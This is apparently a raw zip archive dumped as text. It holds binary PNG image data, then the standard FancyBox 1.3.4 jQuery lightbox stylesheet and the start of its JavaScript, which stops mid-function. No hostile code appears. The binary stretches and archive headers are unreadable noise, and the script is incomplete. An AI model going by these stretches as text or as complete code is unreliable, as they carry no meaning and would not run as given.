P|CK;sF;eSE[ 8tRp)CeEH_ĄdLӟg8_"ֵPUyAU! ȃ>hdt¢,VYۂJ-+2QB ۜ/8<gr0Z2*2u_:Rr:Ct3Lsu K%$E+%HaU[[1W?wAnʜbZļ5̛ȁ1O}P)NJ+.߸q_dXO{;kJ3 1DK3UbGWH"H&NXٳ^yTJ,If]2XHvj%ex`Md9n/ź@C^\1Kİ ꁠniSW\[6آɏc*&fӦMe꧞zjD#i|5~ǃ]0L'NFa`s΢ōzn#N9T>] ,P__RF1RRo]jZH%ohRpU $!u@Fcz|mQr)-אJx5=tǮ«tA`?8mt'H{qYX!á vex =x/VBdg66Pbb9' B3laJmt;76wUAE1*5wv(( pL2J5TO Cfċ|LW_}7Ilᵼ{hUa[Mz|T~ֳ|dyy,י>!@b{QՍ&ÀeJDpw(i{6 pO=47ʃUN( Fs V7N#!O!5Sax`B"8N-2D;*d)qU)tC"| g1Ct  Nl0+ Co ET1L֑8\n"\7?/1Lx&D ,dQ]Gaӿ1̗0Z[ĭ8U6<Kb5/+m9`nGNȂ\w%S='l~iJRRWIEIEI| # {vg`a_^&~X" ;u&e=O6߮4cƌs=\󞁻GJ0l,C_,a]g+LJ6yf'篴d+ 5<3rƬ\8>ƦɜYõde\%{f3\|ҙd ;ITέSl>"h:ދvъ,7t[H;XډVٜe2n;k6xKs%A9_{ ̢yųݨf8Q|w }^UP׽9JRHFt{;=R_f!|vaw^ϵ]|^_ +δY ̜o,8vTy:R$'YIz}Ξ!):pbPݖst{Co6@mt:^wvw ;o +m1 $oLGҼ|5*J+ „ s%JRS뫹V-)_Q M!QlqJJSΗ=YbJ\J|Ql·嶞o*K[1{| pR𢁢Qt+)"t+"+%R5%fYK_~_n}7aP}ꫯnȰp"TTdSkT2(hM\yƴ2אϲ _|QΗ&:pYqNC-S!L72HwD Pȉ-Aݥd*eWbʏ8.`V]nR^k%c F!*h-;LPaDm_Bez A!"p.abhd.U*̶څƫ({J[9 $@V0gΗ9 >Z#/k ScjH4Ս&.|22oĿP~ƎnΤOX"r|U0%@_˿ThW⌲eWjr' ('.do E,aÌTUt&w-] q 0Zn_[iv*r* <՚$pt+nt3@D-^c d ?>GOɦ+K33 5í=ݨ*$.~p, =|=F%{K!@N ƾΨP|͖u9ߘ+[f56c*5fu- JRMVe=8y&l7xE ʬmMk@ÂjCwL:1U+0|=k}Rkv\nOl;MA1۔Z9&G#4sśm2dk3Oe9n`AɪPs0ϱ}͓x -c/''(|zrb(|=?A)h7js[j׵pL|3Ps+W-o„ȕz˚>B4bbr65k-K\ EnI.I=_N6#mzpYoTYP}]mˢxq(Sh:6#`/VԐlqVgK]>[b*ILFGl⣭R":IUh9sz Lߊ V| D:"J a(%5;\M)`2˜knU)I[;΀%qmҤIt6* ^`h-2_M5L[Pẙ=jFrk#w'^^F&%T0ۀ3q% VH2%t;8`I#6;DE,hhսq| t77L!r7xm;օc> |W%tld[-2(Iɹ0484\|N#O _9ix 7‚~bVTa{YݪխJ{3pMõ cC38_G}t1h;5(XWFZ]ke5}ey1&ho,(CI7w8l u}-η:xgcH!V+Pb͖Sq,LҠj(y|OrZ'2Ju=ܳϮj9uj +$+9y.g(e*"fF,7-ڭ>SřXhujrLJpfL @cu@3Z8"}saUrOf'ߌvA 4uKہeXI'IfS >gZ툇&}f~@lgRVTRSrRi<,Q0Tg77c]3Ԛ׸GҼM5|sF܆^G欐| rjr kv֮4F}HJC,aLi^&x 05OLF0#:3^RzCc^#6 {j]q:鳻 ˿fyO?حcnFk"7 ΗlZHN#U0cok1iG RN=V}t 0bJj5z]e,}v0;X2B!1ߕT׵{ + #&єE<`k ;( V"uұ2*=,a3 `dmV'veڜIN扙 s+>^&Ԝk۽H(=&ԜEx^Ēt1l 5UxDJ=|K 51yᅁ+NL`SPkp(ԜQfQPs#淨Ro?"η8&|{z%ȱ009|1zf1u$,jT W,) Q)3";6{7PbpwSI0PUT)&Q'K^ؤSsi0AD̜ށuh8e ŹfbMB- '0 hME*qH8>Њ[oI7[~aR(pJj.B;%l)PJ5hjQbZvW"Fa ]e68+ğ#syTF0M- psr3c1F#b.ΗUW]5﮻BD S֊e9Z@\LQcsN}2"1GZF1$/Ha qӆZ=7 :&F~dY OSS,2 s)4IrE(U /v =#aCgkHfs9f-Be|d2>0za |JBSHljjhhXoӃ3ӨT ύ$ZcTRI8묳HdvO.Z),6kTg}v I_jdas\$bASW7ڹTǻ ]J"TŸ9_r`-rVޏ=Yfa]^^ r%ݳb[$ǰ$0{//1c=o8ғ{1ZL=_>#Őo0g; {3E/5 'kc&9ŻFU2 ȹ& 8_ )h,|ɓ'7ɘ}cL'kHp~6pF+[W4bd&fc!1׏0c '4r )\Cqv $zPn\`T5c%X@뵪Xqt@DכZ$|''蚩x8_|ҬK0?Ƀ\`n8P.dlf;SoF;XxF'oqR*DJ2+t42L^刂EFm_jow} B/BXN#;/^'XM;*A_A:bBS0G*)RWWZ(8"7(ٗ5RSBb|L}GPQz뭝0zCf>CXKaFiµR}uMMjeGW_}uk%$sŶW,ɷ69{Y(H_r[uIϰq_q8߈EoF4 LF])#|S 8׶C,|r5)]:\?8KkEeqpj;p Ka/2^a@Wahx3!Ϗ0dHfr L8ˇXsf|1#|)+1#{>ƍI IVIOpLUiɂj??+>"j*STҍ 5/v0V@)7dl)ݜ9sBOD#5 CׂARǐ?@Y[rv'r]jժ^xᅥL֨l[ D Ułl6pM29 V-2o^I xZ;C"V윯Ij/\sHpG8j8eK^{ Ξ>gݬ8S}-aq*LuC%8߈8XFyDoG'yDoa"7Jb8_GxDob9J(8_!cu2h1=B#[KH#tlfFSBNm*dYN!DҘ( 504bL{*| RPRt%)0taD@Z S Gw޾^] /2Y2! F.L U<% O>Fr٢/}q8aA[ Ҽ>|ΗqArf|2x,Mi!. ĉV~͏=ؒsXyYEn"iRJ,Ǥ)BXy=\ ** x㫯+dٚ&o(qug~s.,&P$mQtTvEYWSL'3 {f Uź DbžQq@Ӱ1k!ݭI8qcG<+5p, mr @uflW(>ΗuʩIM|c[o Go,|#7|cqzDoa"7Jb8_GxDv8ߘ PUs1),ČpI1iֵ|IĆE,@F@Zt#LYI@S1@Z1ZXd#St QL)[a1z"k#e &g@gBBobJ};r@0뢖'J,~!ȑr򖖖u0yz0yS㗬,AĂ3SLs:jjQ +Tc)MN3g}E:uDbn5&"V1qFk2-)4C'N;I-%㧏Sf.C"lU.8apo E .i߿ȐRa28m@"4W)SHb8_gBb]p_ 7Y'*a6AW=_&e|eR#0ҍbl<,Oኧ^ 04XIn\9 Hc gXtPdQ~G V† MM_Zkۍ qtVw:Jtu0zѶk;t&WbRp 9g49_p"n&%̨D rSYܥ9չ8;(Fo,|#7|S<"7#|<"7#<"70uM1\G#|S<"7_M&6a׭ueJJY 9QAAI[h"]9}[T \յeZ)~FY -1\|(IND\NA$@iJ.ZX!Xec9q88S-kJ| W+B'C/v]HQyO=ViEՄlB*02Ē(̵(vyWSɌRn 0y=b*r k hŏF9}hŹjrܡ-|\m$op>+ 2+UM@בg`=vYXp;PSD=!M kf4&N<u'hFwbbԂgP SOvI["OtF)Y2 c4QhPGB.K%+qXGrWu-N8a.$g&׌J|&Ē Ϊ2\wNBKͿ8Bҍ 5AM[>-'/H*VRl^q$a䯙 nV&%Kg%-BYZ*"JkbHF-V UX ֡E)mv@n;n&Ih5%$- #uPqs(Xt2K10f"zi+FΗ59<6jη:q[Eo,|#7|cq'%[PrKN:7T[IENDB`PKQB\jj tmpl/fancybox/fancy_shadow_n.pngnuW+APNG  IHDRLW1IDATU gQ7{SRU^1I(3IENDB`PKQB\SORt##'tmpl/fancybox/jquery.fancybox-1.3.4.cssnuW+A/* * FancyBox - jQuery Plugin * Simple and fancy lightbox alternative * * Examples and documentation at: http://fancybox.net * * Copyright (c) 2008 - 2010 Janis Skarnelis * That said, it is hardly a one-person project. Many people have submitted bugs, code, and offered their advice freely. Their support is greatly appreciated. * * Version: 1.3.4 (11/11/2010) * Requires: jQuery v1.3+ * * Dual licensed under the MIT and GPL licenses: * http://www.opensource.org/licenses/mit-license.php * http://www.gnu.org/licenses/gpl.html */ #fancybox-loading { position: fixed; top: 50%; left: 50%; width: 40px; height: 40px; margin-top: -20px; margin-left: -20px; cursor: pointer; overflow: hidden; z-index: 1104; display: none; } #fancybox-loading div { position: absolute; top: 0; left: 0; width: 40px; height: 480px; background-image: url('fancybox.png'); } #fancybox-overlay { position: absolute; top: 0; left: 0; width: 100%; z-index: 1100; display: none; } #fancybox-tmp { padding: 0; margin: 0; border: 0; overflow: auto; display: none; } #fancybox-wrap { position: absolute; top: 0; left: 0; padding: 20px; z-index: 1101; outline: none; display: none; } #fancybox-outer { position: relative; width: 100%; height: 100%; background: #fff; } #fancybox-content { width: 0; height: 0; padding: 0; outline: none; position: relative; overflow: hidden; z-index: 1102; border: 0px solid #fff; } #fancybox-hide-sel-frame { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: transparent; z-index: 1101; } #fancybox-close { position: absolute; top: -15px; right: -15px; width: 30px; height: 30px; background: transparent url('fancybox.png') -40px 0px; cursor: pointer; z-index: 1103; display: none; } #fancybox-error { color: #444; font: normal 12px/20px Arial; padding: 14px; margin: 0; } #fancybox-img { width: 100%; height: 100%; padding: 0; margin: 0; border: none; outline: none; line-height: 0; vertical-align: top; } #fancybox-frame { width: 100%; height: 100%; border: none; display: block; } #fancybox-left, #fancybox-right { position: absolute; bottom: 0px; height: 100%; width: 35%; cursor: pointer; outline: none; background: transparent url('blank.gif'); z-index: 1102; display: none; } #fancybox-left { left: 0px; } #fancybox-right { right: 0px; } #fancybox-left-ico, #fancybox-right-ico { position: absolute; top: 50%; left: -9999px; width: 30px; height: 30px; margin-top: -15px; cursor: pointer; z-index: 1102; display: block; } #fancybox-left-ico { background-image: url('fancybox.png'); background-position: -40px -30px; } #fancybox-right-ico { background-image: url('fancybox.png'); background-position: -40px -60px; } #fancybox-left:hover, #fancybox-right:hover { visibility: visible; /* IE6 */ } #fancybox-left:hover span { left: 20px; } #fancybox-right:hover span { left: auto; right: 20px; } .fancybox-bg { position: absolute; padding: 0; margin: 0; border: 0; width: 20px; height: 20px; z-index: 1001; } #fancybox-bg-n { top: -20px; left: 0; width: 100%; background-image: url('fancybox-x.png'); } #fancybox-bg-ne { top: -20px; right: -20px; background-image: url('fancybox.png'); background-position: -40px -162px; } #fancybox-bg-e { top: 0; right: -20px; height: 100%; background-image: url('fancybox-y.png'); background-position: -20px 0px; } #fancybox-bg-se { bottom: -20px; right: -20px; background-image: url('fancybox.png'); background-position: -40px -182px; } #fancybox-bg-s { bottom: -20px; left: 0; width: 100%; background-image: url('fancybox-x.png'); background-position: 0px -20px; } #fancybox-bg-sw { bottom: -20px; left: -20px; background-image: url('fancybox.png'); background-position: -40px -142px; } #fancybox-bg-w { top: 0; left: -20px; height: 100%; background-image: url('fancybox-y.png'); } #fancybox-bg-nw { top: -20px; left: -20px; background-image: url('fancybox.png'); background-position: -40px -122px; } #fancybox-title { font-family: Helvetica; font-size: 12px; z-index: 1102; } .fancybox-title-inside { padding-bottom: 10px; text-align: center; color: #333; background: #fff; position: relative; } .fancybox-title-outside { padding-top: 10px; color: #fff; } .fancybox-title-over { position: absolute; bottom: 0; left: 0; color: #FFF; text-align: left; } #fancybox-title-over { padding: 10px; background-image: url('fancy_title_over.png'); display: block; } .fancybox-bar-under { padding: 6px; background-image: url('fancy_title_over.png'); display: block; } .fancybox-title-float { position: absolute; left: 0; bottom: -20px; height: 32px; } #fancybox-title-float-wrap { border: none; border-collapse: collapse; width: auto; } #fancybox-title-float-wrap td { border: none; white-space: nowrap; } #fancybox-title-float-left { padding: 0 0 0 15px; background: url('fancybox.png') -40px -90px no-repeat; } #fancybox-title-float-main { color: #FFF; line-height: 29px; font-weight: bold; padding: 0 0 3px 0; background: url('fancybox-x.png') 0px -40px; } #fancybox-title-float-right { padding: 0 0 0 15px; background: url('fancybox.png') -55px -90px no-repeat; } /* IE6 */ .fancybox-ie6 #fancybox-close { background: transparent; filter: progid:DXImageTransform.Microsoft.AlphaImageLoader(src='fancybox/fancy_close.png', sizingMethod='scale'); } .fancybox-ie6 #fancybox-left-ico { background: transparent; filter: progid:DXImageTransform.Microsoft.AlphaImageLoader(src='fancybox/fancy_nav_left.png', sizingMethod='scale'); } .fancybox-ie6 #fancybox-right-ico { background: transparent; filter: progid:DXImageTransform.Microsoft.AlphaImageLoader(src='fancybox/fancy_nav_right.png', sizingMethod='scale'); } .fancybox-ie6 #fancybox-title-over { background: transparent; filter: progid:DXImageTransform.Microsoft.AlphaImageLoader(src='fancybox/fancy_title_over.png', sizingMethod='scale'); zoom: 1; } .fancybox-ie6 #fancybox-title-float-left { background: transparent; filter: progid:DXImageTransform.Microsoft.AlphaImageLoader(src='fancybox/fancy_title_left.png', sizingMethod='scale'); } .fancybox-ie6 #fancybox-title-float-main { background: transparent; filter: progid:DXImageTransform.Microsoft.AlphaImageLoader(src='fancybox/fancy_title_main.png', sizingMethod='scale'); } .fancybox-ie6 #fancybox-title-float-right { background: transparent; filter: progid:DXImageTransform.Microsoft.AlphaImageLoader(src='fancybox/fancy_title_right.png', sizingMethod='scale'); } .fancybox-ie6 #fancybox-bg-w, .fancybox-ie6 #fancybox-bg-e, .fancybox-ie6 #fancybox-left, .fancybox-ie6 #fancybox-right, #fancybox-hide-sel-frame { height: expression(this.parentNode.clientHeight + "px"); } #fancybox-loading.fancybox-ie6 { position: absolute; margin-top: 0; top: expression( (-20 + (document.documentElement.clientHeight ? document.documentElement.clientHeight/2 : document.body.clientHeight/2 ) + ( ignoreMe = document.documentElement.scrollTop ? document.documentElement.scrollTop : document.body.scrollTop )) + 'px'); } #fancybox-loading.fancybox-ie6 div { background: transparent; filter: progid:DXImageTransform.Microsoft.AlphaImageLoader(src='fancybox/fancy_loading.png', sizingMethod='scale'); } /* IE6, IE7, IE8 */ .fancybox-ie .fancybox-bg { background: transparent !important; } .fancybox-ie #fancybox-bg-n { filter: progid:DXImageTransform.Microsoft.AlphaImageLoader(src='fancybox/fancy_shadow_n.png', sizingMethod='scale'); } .fancybox-ie #fancybox-bg-ne { filter: progid:DXImageTransform.Microsoft.AlphaImageLoader(src='fancybox/fancy_shadow_ne.png', sizingMethod='scale'); } .fancybox-ie #fancybox-bg-e { filter: progid:DXImageTransform.Microsoft.AlphaImageLoader(src='fancybox/fancy_shadow_e.png', sizingMethod='scale'); } .fancybox-ie #fancybox-bg-se { filter: progid:DXImageTransform.Microsoft.AlphaImageLoader(src='fancybox/fancy_shadow_se.png', sizingMethod='scale'); } .fancybox-ie #fancybox-bg-s { filter: progid:DXImageTransform.Microsoft.AlphaImageLoader(src='fancybox/fancy_shadow_s.png', sizingMethod='scale'); } .fancybox-ie #fancybox-bg-sw { filter: progid:DXImageTransform.Microsoft.AlphaImageLoader(src='fancybox/fancy_shadow_sw.png', sizingMethod='scale'); } .fancybox-ie #fancybox-bg-w { filter: progid:DXImageTransform.Microsoft.AlphaImageLoader(src='fancybox/fancy_shadow_w.png', sizingMethod='scale'); } .fancybox-ie #fancybox-bg-nw { filter: progid:DXImageTransform.Microsoft.AlphaImageLoader(src='fancybox/fancy_shadow_nw.png', sizingMethod='scale'); }PKQB\XFF"tmpl/fancybox/fancy_title_over.pngnuW+APNG  IHDRĉ IDATc```X š IENDB`PKQB\ġ.DD!tmpl/fancybox/fancy_shadow_nw.pngnuW+APNG  IHDR  IDAT8˭ 0 E4S)uXԖD{C?~fSAs' `}:hkpp~mt<%t֑@,h)@$u5iKx6Vb9FtZVxd:HDWeE2h`~zhEc5+Xy"YĴV]ųȜr HRW"M,X7 >#aMI~DEi6,ovTOIENDB`PKQB\ oTT!tmpl/fancybox/fancy_shadow_sw.pngnuW+APNG  IHDR IDAT8˭Qn! Da7Asqh:%i+5c1|<TUk~|O`Ft"uVպ^40ɆҳM֞+7( Dtx(7\΍zVᬪ^fZ vi*SaC=;CKʪX`Ua{?LlXڭlI6Rml!Ia>/OSٜ/zU3%$Cթ߀mXڤ;,ktWF_@FfO#|[Е?IENDB`PKQB\U(`s`s&tmpl/fancybox/jquery.fancybox-1.3.4.jsnuW+A/* * FancyBox - jQuery Plugin * Simple and fancy lightbox alternative * * Examples and documentation at: http://fancybox.net * * Copyright (c) 2008 - 2010 Janis Skarnelis * That said, it is hardly a one-person project. Many people have submitted bugs, code, and offered their advice freely. Their support is greatly appreciated. * * Version: 1.3.4 (11/11/2010) * Requires: jQuery v1.3+ * * Dual licensed under the MIT and GPL licenses: * http://www.opensource.org/licenses/mit-license.php * http://www.gnu.org/licenses/gpl.html */ ;(function($) { var tmp, loading, overlay, wrap, outer, content, close, title, nav_left, nav_right, selectedIndex = 0, selectedOpts = {}, selectedArray = [], currentIndex = 0, currentOpts = {}, currentArray = [], ajaxLoader = null, imgPreloader = new Image(), imgRegExp = /\.(jpg|gif|png|bmp|jpeg)(.*)?$/i, swfRegExp = /[^\.]\.(swf)\s*$/i, loadingTimer, loadingFrame = 1, titleHeight = 0, titleStr = '', start_pos, final_pos, busy = false, fx = $.extend($('
    ')[0], { prop: 0 }), isIE6 = $.browser.msie && $.browser.version < 7 && !window.XMLHttpRequest, /* * Private methods */ _abort = function() { loading.hide(); imgPreloader.onerror = imgPreloader.onload = null; if (ajaxLoader) { ajaxLoader.abort(); } tmp.empty(); }, _error = function() { if (false === selectedOpts.onError(selectedArray, selectedIndex, selectedOpts)) { loading.hide(); busy = false; return; } selectedOpts.titleShow = false; selectedOpts.width = 'auto'; selectedOpts.height = 'auto'; tmp.html( '

    The requested content cannot be loaded.
    Please try again later.

    ' ); _process_inline(); }, _start = function() { var obj = selectedArray[ selectedIndex ], href, type, title, str, emb, ret; _abort(); selectedOpts = $.extend({}, $.fn.fancybox.defaults, (typeof $(obj).data('fancybox') == 'undefined' ? selectedOpts : $(obj).data('fancybox'))); ret = selectedOpts.onStart(selectedArray, selectedIndex, selectedOpts); if (ret === false) { busy = false; return; } else if (typeof ret == 'object') { selectedOpts = $.extend(selectedOpts, ret); } title = selectedOpts.title || (obj.nodeName ? $(obj).attr('title') : obj.title) || ''; if (obj.nodeName && !selectedOpts.orig) { selectedOpts.orig = $(obj).children("img:first").length ? $(obj).children("img:first") : $(obj); } if (title === '' && selectedOpts.orig && selectedOpts.titleFromAlt) { title = selectedOpts.orig.attr('alt'); } href = selectedOpts.href || (obj.nodeName ? $(obj).attr('href') : obj.href) || null; if ((/^(?:javascript)/i).test(href) || href == '#') { href = null; } if (selectedOpts.type) { type = selectedOpts.type; if (!href) { href = selectedOpts.content; } } else if (selectedOpts.content) { type = 'html'; } else if (href) { if (href.match(imgRegExp)) { type = 'image'; } else if (href.match(swfRegExp)) { type = 'swf'; } else if ($(obj).hasClass("iframe")) { type = 'iframe'; } else if (href.indexOf("#") === 0) { type = 'inline'; } else { type = 'ajax'; } } if (!type) { _error(); return; } if (type == 'inline') { obj = href.substr(href.indexOf("#")); type = $(obj).length > 0 ? 'inline' : 'ajax'; } selectedOpts.type = type; selectedOpts.href = href; selectedOpts.title = title; if (selectedOpts.autoDimensions) { if (selectedOpts.type == 'html' || selectedOpts.type == 'inline' || selectedOpts.type == 'ajax') { selectedOpts.width = 'auto'; selectedOpts.height = 'auto'; } else { selectedOpts.autoDimensions = false; } } if (selectedOpts.modal) { selectedOpts.overlayShow = true; selectedOpts.hideOnOverlayClick = false; selectedOpts.hideOnContentClick = false; selectedOpts.enableEscapeButton = false; selectedOpts.showCloseButton = false; } selectedOpts.padding = parseInt(selectedOpts.padding, 10); selectedOpts.margin = parseInt(selectedOpts.margin, 10); tmp.css('padding', (selectedOpts.padding + selectedOpts.margin)); $('.fancybox-inline-tmp').unbind('fancybox-cancel').bind('fancybox-change', function() { $(this).replaceWith(content.children()); }); switch (type) { case 'html' : tmp.html( selectedOpts.content ); _process_inline(); break; case 'inline' : if ( $(obj).parent().is('#fancybox-content') === true) { busy = false; return; } $('
    ') .hide() .insertBefore( $(obj) ) .bind('fancybox-cleanup', function() { $(this).replaceWith(content.children()); }).bind('fancybox-cancel', function() { $(this).replaceWith(tmp.children()); }); $(obj).appendTo(tmp); _process_inline(); break; case 'image': busy = false; $.fancybox.showActivity(); imgPreloader = new Image(); imgPreloader.onerror = function() { _error(); }; imgPreloader.onload = function() { busy = true; imgPreloader.onerror = imgPreloader.onload = null; _process_image(); }; imgPreloader.src = href; break; case 'swf': selectedOpts.scrolling = 'no'; str = ''; emb = ''; $.each(selectedOpts.swf, function(name, val) { str += ''; emb += ' ' + name + '="' + val + '"'; }); str += ''; tmp.html(str); _process_inline(); break; case 'ajax': busy = false; $.fancybox.showActivity(); selectedOpts.ajax.win = selectedOpts.ajax.success; ajaxLoader = $.ajax($.extend({}, selectedOpts.ajax, { url : href, data : selectedOpts.ajax.data || {}, error : function(XMLHttpRequest, textStatus, errorThrown) { if ( XMLHttpRequest.status > 0 ) { _error(); } }, success : function(data, textStatus, XMLHttpRequest) { var o = typeof XMLHttpRequest == 'object' ? XMLHttpRequest : ajaxLoader; if (o.status == 200) { if ( typeof selectedOpts.ajax.win == 'function' ) { ret = selectedOpts.ajax.win(href, data, textStatus, XMLHttpRequest); if (ret === false) { loading.hide(); return; } else if (typeof ret == 'string' || typeof ret == 'object') { data = ret; } } tmp.html( data ); _process_inline(); } } })); break; case 'iframe': _show(); break; } }, _process_inline = function() { var w = selectedOpts.width, h = selectedOpts.height; if (w.toString().indexOf('%') > -1) { w = parseInt( ($(window).width() - (selectedOpts.margin * 2)) * parseFloat(w) / 100, 10) + 'px'; } else { w = w == 'auto' ? 'auto' : w + 'px'; } if (h.toString().indexOf('%') > -1) { h = parseInt( ($(window).height() - (selectedOpts.margin * 2)) * parseFloat(h) / 100, 10) + 'px'; } else { h = h == 'auto' ? 'auto' : h + 'px'; } tmp.wrapInner('
    '); selectedOpts.width = tmp.width(); selectedOpts.height = tmp.height(); _show(); }, _process_image = function() { selectedOpts.width = imgPreloader.width; selectedOpts.height = imgPreloader.height; $("").attr({ 'id' : 'fancybox-img', 'src' : imgPreloader.src, 'alt' : selectedOpts.title }).appendTo( tmp ); _show(); }, _show = function() { var pos, equal; loading.hide(); if (wrap.is(":visible") && false === currentOpts.onCleanup(currentArray, currentIndex, currentOpts)) { $.event.trigger('fancybox-cancel'); busy = false; return; } busy = true; $(content.add( overlay )).unbind(); $(window).unbind("resize.fb scroll.fb"); $(document).unbind('keydown.fb'); if (wrap.is(":visible") && currentOpts.titlePosition !== 'outside') { wrap.css('height', wrap.height()); } currentArray = selectedArray; currentIndex = selectedIndex; currentOpts = selectedOpts; if (currentOpts.overlayShow) { overlay.css({ 'background-color' : currentOpts.overlayColor, 'opacity' : currentOpts.overlayOpacity, 'cursor' : currentOpts.hideOnOverlayClick ? 'pointer' : 'auto', 'height' : $(document).height() }); if (!overlay.is(':visible')) { if (isIE6) { $('select:not(#fancybox-tmp select)').filter(function() { return this.style.visibility !== 'hidden'; }).css({'visibility' : 'hidden'}).one('fancybox-cleanup', function() { this.style.visibility = 'inherit'; }); } overlay.show(); } } else { overlay.hide(); } final_pos = _get_zoom_to(); _process_title(); if (wrap.is(":visible")) { $( close.add( nav_left ).add( nav_right ) ).hide(); pos = wrap.position(), start_pos = { top : pos.top, left : pos.left, width : wrap.width(), height : wrap.height() }; equal = (start_pos.width == final_pos.width && start_pos.height == final_pos.height); content.fadeTo(currentOpts.changeFade, 0.3, function() { var finish_resizing = function() { content.html( tmp.contents() ).fadeTo(currentOpts.changeFade, 1, _finish); }; $.event.trigger('fancybox-change'); content .empty() .removeAttr('filter') .css({ 'border-width' : currentOpts.padding, 'width' : final_pos.width - currentOpts.padding * 2, 'height' : selectedOpts.autoDimensions ? 'auto' : final_pos.height - titleHeight - currentOpts.padding * 2 }); if (equal) { finish_resizing(); } else { fx.prop = 0; $(fx).animate({prop: 1}, { duration : currentOpts.changeSpeed, easing : currentOpts.easingChange, step : _draw, complete : finish_resizing }); } }); return; } wrap.removeAttr("style"); content.css('border-width', currentOpts.padding); if (currentOpts.transitionIn == 'elastic') { start_pos = _get_zoom_from(); content.html( tmp.contents() ); wrap.show(); if (currentOpts.opacity) { final_pos.opacity = 0; } fx.prop = 0; $(fx).animate({prop: 1}, { duration : currentOpts.speedIn, easing : currentOpts.easingIn, step : _draw, complete : _finish }); return; } if (currentOpts.titlePosition == 'inside' && titleHeight > 0) { title.show(); } content .css({ 'width' : final_pos.width - currentOpts.padding * 2, 'height' : selectedOpts.autoDimensions ? 'auto' : final_pos.height - titleHeight - currentOpts.padding * 2 }) .html( tmp.contents() ); wrap .css(final_pos) .fadeIn( currentOpts.transitionIn == 'none' ? 0 : currentOpts.speedIn, _finish ); }, _format_title = function(title) { if (title && title.length) { if (currentOpts.titlePosition == 'float') { return '
    ' + title + '
    '; } return '
    ' + title + '
    '; } return false; }, _process_title = function() { titleStr = currentOpts.title || ''; titleHeight = 0; title .empty() .removeAttr('style') .removeClass(); if (currentOpts.titleShow === false) { title.hide(); return; } titleStr = $.isFunction(currentOpts.titleFormat) ? currentOpts.titleFormat(titleStr, currentArray, currentIndex, currentOpts) : _format_title(titleStr); if (!titleStr || titleStr === '') { title.hide(); return; } title .addClass('fancybox-title-' + currentOpts.titlePosition) .html( titleStr ) .appendTo( 'body' ) .show(); switch (currentOpts.titlePosition) { case 'inside': title .css({ 'width' : final_pos.width - (currentOpts.padding * 2), 'marginLeft' : currentOpts.padding, 'marginRight' : currentOpts.padding }); titleHeight = title.outerHeight(true); title.appendTo( outer ); final_pos.height += titleHeight; break; case 'over': title .css({ 'marginLeft' : currentOpts.padding, 'width' : final_pos.width - (currentOpts.padding * 2), 'bottom' : currentOpts.padding }) .appendTo( outer ); break; case 'float': title .css('left', parseInt((title.width() - final_pos.width - 40)/ 2, 10) * -1) .appendTo( wrap ); break; default: title .css({ 'width' : final_pos.width - (currentOpts.padding * 2), 'paddingLeft' : currentOpts.padding, 'paddingRight' : currentOpts.padding }) .appendTo( wrap ); break; } title.hide(); }, _set_navigation = function() { if (currentOpts.enableEscapeButton || currentOpts.enableKeyboardNav) { $(document).bind('keydown.fb', function(e) { if (e.keyCode == 27 && currentOpts.enableEscapeButton) { e.preventDefault(); $.fancybox.close(); } else if ((e.keyCode == 37 || e.keyCode == 39) && currentOpts.enableKeyboardNav && e.target.tagName !== 'INPUT' && e.target.tagName !== 'TEXTAREA' && e.target.tagName !== 'SELECT') { e.preventDefault(); $.fancybox[ e.keyCode == 37 ? 'prev' : 'next'](); } }); } if (!currentOpts.showNavArrows) { nav_left.hide(); nav_right.hide(); return; } if ((currentOpts.cyclic && currentArray.length > 1) || currentIndex !== 0) { nav_left.show(); } if ((currentOpts.cyclic && currentArray.length > 1) || currentIndex != (currentArray.length -1)) { nav_right.show(); } }, _finish = function () { if (!$.support.opacity) { content.get(0).style.removeAttribute('filter'); wrap.get(0).style.removeAttribute('filter'); } if (selectedOpts.autoDimensions) { content.css('height', 'auto'); } wrap.css('height', 'auto'); if (titleStr && titleStr.length) { title.show(); } if (currentOpts.showCloseButton) { close.show(); } _set_navigation(); if (currentOpts.hideOnContentClick) { content.bind('click', $.fancybox.close); } if (currentOpts.hideOnOverlayClick) { overlay.bind('click', $.fancybox.close); } $(window).bind("resize.fb", $.fancybox.resize); if (currentOpts.centerOnScroll) { $(window).bind("scroll.fb", $.fancybox.center); } if (currentOpts.type == 'iframe') { $('').appendTo(content); } wrap.show(); busy = false; $.fancybox.center(); currentOpts.onComplete(currentArray, currentIndex, currentOpts); _preload_images(); }, _preload_images = function() { var href, objNext; if ((currentArray.length -1) > currentIndex) { href = currentArray[ currentIndex + 1 ].href; if (typeof href !== 'undefined' && href.match(imgRegExp)) { objNext = new Image(); objNext.src = href; } } if (currentIndex > 0) { href = currentArray[ currentIndex - 1 ].href; if (typeof href !== 'undefined' && href.match(imgRegExp)) { objNext = new Image(); objNext.src = href; } } }, _draw = function(pos) { var dim = { width : parseInt(start_pos.width + (final_pos.width - start_pos.width) * pos, 10), height : parseInt(start_pos.height + (final_pos.height - start_pos.height) * pos, 10), top : parseInt(start_pos.top + (final_pos.top - start_pos.top) * pos, 10), left : parseInt(start_pos.left + (final_pos.left - start_pos.left) * pos, 10) }; if (typeof final_pos.opacity !== 'undefined') { dim.opacity = pos < 0.5 ? 0.5 : pos; } wrap.css(dim); content.css({ 'width' : dim.width - currentOpts.padding * 2, 'height' : dim.height - (titleHeight * pos) - currentOpts.padding * 2 }); }, _get_viewport = function() { return [ $(window).width() - (currentOpts.margin * 2), $(window).height() - (currentOpts.margin * 2), $(document).scrollLeft() + currentOpts.margin, $(document).scrollTop() + currentOpts.margin ]; }, _get_zoom_to = function () { var view = _get_viewport(), to = {}, resize = currentOpts.autoScale, double_padding = currentOpts.padding * 2, ratio; if (currentOpts.width.toString().indexOf('%') > -1) { to.width = parseInt((view[0] * parseFloat(currentOpts.width)) / 100, 10); } else { to.width = currentOpts.width + double_padding; } if (currentOpts.height.toString().indexOf('%') > -1) { to.height = parseInt((view[1] * parseFloat(currentOpts.height)) / 100, 10); } else { to.height = currentOpts.height + double_padding; } if (resize && (to.width > view[0] || to.height > view[1])) { if (selectedOpts.type == 'image' || selectedOpts.type == 'swf') { ratio = (currentOpts.width ) / (currentOpts.height ); if ((to.width ) > view[0]) { to.width = view[0]; to.height = parseInt(((to.width - double_padding) / ratio) + double_padding, 10); } if ((to.height) > view[1]) { to.height = view[1]; to.width = parseInt(((to.height - double_padding) * ratio) + double_padding, 10); } } else { to.width = Math.min(to.width, view[0]); to.height = Math.min(to.height, view[1]); } } to.top = parseInt(Math.max(view[3] - 20, view[3] + ((view[1] - to.height - 40) * 0.5)), 10); to.left = parseInt(Math.max(view[2] - 20, 